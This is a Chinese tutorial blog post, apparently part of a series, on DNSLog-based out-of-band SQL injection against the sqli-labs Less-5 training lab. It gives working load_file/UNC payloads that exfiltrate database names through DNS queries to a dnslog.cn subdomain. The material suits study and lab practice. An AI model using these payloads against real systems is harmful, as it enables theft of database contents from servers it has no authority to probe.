DNSLog漏洞探测(七)之SQL注入漏洞实战

DNSLog漏洞探测(七)之SQL注入漏洞实战

在前面的文章之中,我们已经学习了XSS、RCE、XXE、SSRF漏洞中有关于DNSLog平台的使用。这些漏洞本身在执行时就有解析URL地址,发起网络请求的操作,所以只要我们把DNSLog平台获取的子域名地址发送到存在漏洞的服务器上,就会产生DNSLog的解析记录,这样就可以证明该漏洞的存在。

本文我们来学习有关于DNSLog平台有关于SQL注入的利用方式,SQL注入在DNSLog的利用中和XSS、RCE、XXE、SSRF这些漏洞不同,在SQL注入无回显的情况下,我们可以通过DNSLog平台的利用去外带出一些数据库的信息

MySQL load_file函数

在 MySQL 数据库中 load_file函数是用来读取文件的函数,以下是在各系统中读取相应文件的SQL语句

#Windows系统
select load_file('C:/Windows/system.ini');
#Linux系统
select load_file('/etc/hosts');

如果想要在MySQL 数据库读取相应的文件则需要以下的条件:

  1. 需要读取的文件在数据库本机
  2. 用户对文件要有允许访问的权限
  3. 需要读取的文件的大小要小于max_allowed_packet,否则返回NULL

以下是现版本数据库中有关于max_allowed_packet的大小限制,一般默认情况是32MB大小

在这里插入图片描述

secure_file_priv参数

在MySQL 数据库中除了读取文件的操作,还有写入文件的操作。在MySQL 数据库中读写文件都受到secure_file_priv参数的限制,在在MySQL 数据库中secure_file_priv的参数有三种类型,当secure-file-priv=""时,我们可以对任意文件执行导入导出的命令

类型
secure-file-priv=“”没有任何限制(不安全)
secure-file-priv=“具体文件夹”只能在指定的文件夹导入导出
secure-file-priv=NULL不允许导入导出

我们可以在MySQL 数据库中使用以下语句查询该参数的类型

show variables like '%secure_file_priv%';

DNSLog注入步骤(仅支持Windows的MySQL)

首先我们打开DNSLog的平台,点击 Get SubDomain获取一个子域名,这里我们获取到的子域名地址是 9asrrv.dnslog.cn

在这里插入图片描述

然后将需要读取的文件替换为DNSLog平台获取到的子域名地址,这里需要注意的是经过转义之后是\\,是Windows系统里常用的UNC路径的格式,而后面的 /test 是必须要写的,它代表着UNC路径里一个文件夹的名字,当然文件夹的名字可以随你怎么取都行,总而言之正确的格式就是这样。整条语句的意思就是取读取一个文件夹,我们在UNC路径中添加了DNSLog平台的地址,让这条语句在执行时能够去访问我们的DNSLog平台,从而产生解析记录

#原始的payload
select load_file('xxxxx.dnslog.cn/test');
#本文所使用的payload
select load_file('9asrrv.dnslog.cn/test');

接下来我们去执行相应的语句

在这里插入图片描述

现在我们返回DNSLog平台,点击 Refresh Record 刷新,此时DNSLog平台就会产生DNSLog解析记录

在这里插入图片描述

那么这样子就说明如果我们在碰到SQL注入漏洞无回显的情况下,这样我们把这样的语句拼接在有SQL注入漏洞参数的提交点上,不论是get还是post请求,只要服务器执行了这个语句,并在DNSLog平台产生DNSLog解析,就能够证明该漏洞存在。

接下来我们用 sqli-labs的靶场来做个演示,实验中用到的 sqli-labs 靶场是 sqli-labs的第五关

在这里插入图片描述

当我们的参数 id = 1 时页面显示正常,但当我们把参数改为 id = 1‘ 时页面产生了报错

在这里插入图片描述

当我们将参数修改为 id = 1’ --+ 时页面显示正常

在这里插入图片描述

当我们执行了这样的语句时,我们可以判断这里存在SQL注入漏洞,但是它并没有将相关的数据给我们回显出来,这也就是我们常说的SQL注入漏洞无回显的情况,针对这种情况,我们一般是使用盲注的情况用来解题的,但是本文就来教大家如何利用DNSLog平台解决SQL注入漏洞无回显的情况,并且去外带出SQL数据库一些信息出来

首先我们打开DNSLog的平台,点击 Get SubDomain获取一个子域名,这里我们获取到的子域名地址是 900ind.dnslog.cn

在这里插入图片描述

然后向存在SQL漏洞的注入点提交以下的payload

#原始的payload
http://localhost/sqli-labs/Less-5/?id=1' and if((select load_file(concat('','database()','.xxxxx.dnslog.cn/wuya'))),1,0) --+
#本文所使用的payload
http://localhost/sqli-labs/Less-5/?id=1' and if((select load_file(concat('////','database()','.900ind.dnslog.cn/wuya'))),1,0) --+

在这里插入图片描述

现在我们返回DNSLog平台,点击 Refresh Record 刷新,此时DNSLog平台就会产生DNSLog解析记录,并且把当前数据库的库名一并爆了出来

在这里插入图片描述

如果我们想要查询第二个数据库的库名,便可以使用以下的语句去查询

#原始的payload
http://localhost/sqli-labs/Less-5/?id=1' and if((select load_file(concat('',(select schema_name from information_schema.schemata limit 1,1),'.xxxxx.dnslog.cn/test'))),1,0) --+
#本文所使用的payload
http://localhost/sqli-labs/Less-5/?id=1' and if((select load_file(concat('////',(select schema_name from information_schema.schemata limit 1,1),'.900ind.dnslog.cn/wuya'))),1,0) --+

向存在SQL漏洞的注入点提交payload

在这里插入图片描述

现在我们返回DNSLog平台,点击 Refresh Record 刷新,此时DNSLog平台就会产生DNSLog解析记录,并且把第二个数据库的库名一并外带了出来

在这里插入图片描述

总之利用DNSLog平台解决SQL注入无回显的思路就是这么一种思路,至于其如何利用的相关语句就由各位师傅们自由发挥了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/244490.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

优化钢铁加工:RFID技术的革新应用

优化钢铁加工:RFID技术的革新应用 RFID是一种无线通信技术,通过将标签上的电子数据以无线电信号的形式传输,实现对物品的远程识别和跟踪。在钢铁加工领域,RFID技术的应用能够提高生产效率、降低成本并优化物流管理。本文将探讨RF…

DevOps 和人工智能 – 天作之合

如今,人工智能和机器学习无处不在,所以它们开始在 DevOps 领域崭露头角也毫不令人意外。人工智能和机器学习正在通过自动化任务改变 DevOps,并使各企业的软件开发生命周期更高效、更深刻和更安全。我们在 DevOps 趋势中简要讨论过这一问题&am…

【Hive】——DDL(DATABASE)

1 概述 2 创建数据库 create database if not exists test_database comment "this is my first db" with dbproperties (createdByAllen);3 描述数据库信息 describe 可以简写为desc extended 可以展示更多信息 describe database test_database; describe databa…

有意思!40小时工作制来了,996再见

​在中国,加班文化已经深入人心。工资越高加班越多,“996”已成为一些行业标签,月薪30k以上的职场人中超过86%经常加班。所以今天我就来说一下这40小时工作制到底是从何而来,感兴趣的往下看看吧! 40小时工…

【Hive_02】查询语法

1、基础语法2、基本查询(Select…From)2.1 全表和特定列查询2.2 列别名2.3 Limit语句2.4 Where语句2.5 关系运算函数2.6 逻辑运算函数2.7 聚合函数 3、分组3.1 Group By语句3.2 Having语句3.3 Join语句(1)等值与不等值Join&#x…

【CCF BDCI 2023】多模态多方对话场景下的发言人识别 Baseline 0.71 NLP 部分

【CCF BDCI 2023】多模态多方对话场景下的发言人识别 Baseline 0.71 NLP 部分 概述NLP 简介文本处理词嵌入上下文理解 文本数据加载to_device 函数构造数据加载样本数量 len获取样本 getitem 分词构造函数调用函数轮次嵌入 RobertaRoberta 创新点NSP (Next Sentence Prediction…

uniapp原生插件之安卓动态权限申请原生插件

插件介绍 安卓动态权限申请原生插件,集成了常用的权限申请,可以自定义权限申请 该插件为原生开发,如果您想使用UTS版本可以点击这里 插件地址 安卓动态权限申请原生插件,支持常用的权限申请,支持自定义权限申请 - DC…

CleanMyMac X2024中文版好不好用?有哪些特点

CleanMyMac X您的 Mac。极速如新。点按一下,即可优化调整整个 Mac畅享智能扫描 — 这款超级简单的工具用于优化您的 Mac。只需点按一下,即可运行所有任务,让您的 Mac 保持干净、快速并得到最佳防护。CleanMyMac 是一款功能强大的 Mac 清理程序…

【网络安全】Suspicious DNS Query(可疑的DNS查询)

文章目录 名词解释可能原因分析Action sinkhole在防火墙里面查询Suspicious DNS Query预防Suspicious DNS查询带来的风险推荐阅读 名词解释 “Suspicious DNS Query(可疑的DNS查询)”通常指的是在网络中检测到的可能具有风险或异常行为的DNS&#xff08…

【数据结构】栈和队列超详解!(Stack Queue)

文章目录 前言一、栈1、栈的基本概念2、栈的实现(数组实现)3、栈的基本操作3.1 栈的结构设计3.2 栈常见的基本函数接口 4、栈的实现4.1 初始化栈4.2 栈的销毁4.3 入栈4.4 出栈4.5 判空4.6 长度4.7 获取栈顶元素 完整代码Stack.hStack.cTest.c 二、队列1、…

点对点协议PPP

目录 一. PPP协议的特点1.1 PPP 协议应满足的需求1.2 PPP 协议的组成 二. PPP协议的帧格式2.1 PPP协议的透明传输2.1.1 同步传输2.1.2 异步传输 三. PPP协议的工作状态 \quad 一. PPP协议的特点 \quad \quad 用户到ISP的链路使用PPP协议 \quad \quad 1.1 PPP 协议应满足的需求 …

面试题:HashMap 为什么不能一边遍历一遍删除

文章目录 前言foreach 循环?HashMap 遍历集合并对集合元素进行 remove、put、add1、现象为什么会抛出这个异常呢?2、细究底层原理 前言 上面出现这样的原因是在使用 foreach 对 HashMap 进行遍历时,同时进行 put 赋值操作会有问题&#xff0c…

6-6 堆排序 分数 10

typedef int Datatype; typedef struct {Datatype* elem; int Length; }SqList; typedef SqList HeapType; void swap(int* a, int* b) {int tmp *a;*a *b;*b tmp; } //建大堆 //m: 结点个数 s: 待下调父结点下标 void HeapAdjust(HeapType H, int s, int m) {int child …

骨传导耳机和开放式耳机哪个对听力的损伤小一些?

先说结论,骨传导耳机对听力的损伤更小,并且更值得入手。 其实骨传导耳机也算开放式耳机的一种,开放式耳机中又包括了骨传导耳机和气传导耳机,与其说骨传导耳机和入耳式耳机,不如说是骨传导耳机和气传导耳机&#xff0…

代码随想Day36 | 435. 无重叠区间、763.划分字母区间、56. 合并区间

435. 无重叠区间 这道题和前一天的射箭题目思想类似,用总区间个数-不重叠的区间个数等于需要去除的区间个数。首先对左边界排序,如果当前的左边界大于等于上一区间的右边界,则说明是一个不重叠的区间,否则,更新上一重…

基于Web的智慧城市实验室主页系统设计与实现论文

摘 要 互联网发展至今,无论是其理论还是技术都已经成熟,而且它广泛参与在社会中的方方面面。它让信息都可以通过网络传播,搭配信息管理工具可以很好地为人们提供服务。针对实验室信息管理混乱,出错率高,信息安全性差&…

Layui实现自定义的table列悬停事件并气泡提示信息

1、概要 使用layui组件实现table的指定列悬停时提示信息&#xff0c;因为layui组件中没有鼠标悬停事件支持&#xff0c;所以需要结合js原生事件来实现这个功能&#xff0c;并结合layui的tips和列的templte属性气泡提示实现效果。 2、效果图 3、代码案例 <!DOCTYPE html&g…

Hdfs java API

1.在主机上启动hadoop sbin/start-all.sh 这里有一个小窍门&#xff0c;可以在本机上打开8088端口查看三台机器的连接状态&#xff0c;以及可以打开50070端口&#xff0c;查看hdfs文件状况。以我的主虚拟机为例&#xff0c;ip地址为192.168.198.200&#xff0c;所以可以采用下…

如何处理好面试中的“压力测试”?

作为一名求职者&#xff0c;在面试时有时遇到的是压力测试&#xff0c;有时则遇到的是一些无良企业单位&#xff0c;究竟如何把握忍耐的限度&#xff0c;才合格当一个能经受压力的员工&#xff0c;才能避免对无良单位的一味隐忍! 压力面试是指有意制造紧张&#xff0c;以了解求…

Java_内部类枚举

内部类 内部类: 是类中的五大成分之一&#xff08;成员变量、方法、构造器、内部类、代码块)&#xff0c;如果一个类定义在另一个类的内部&#xff0c;这个类就是内部类。场景:当一个类的内部&#xff0c;包含了一个完整的事物&#xff0c;且这个事物没有必要单独设计时&#x…
最新文章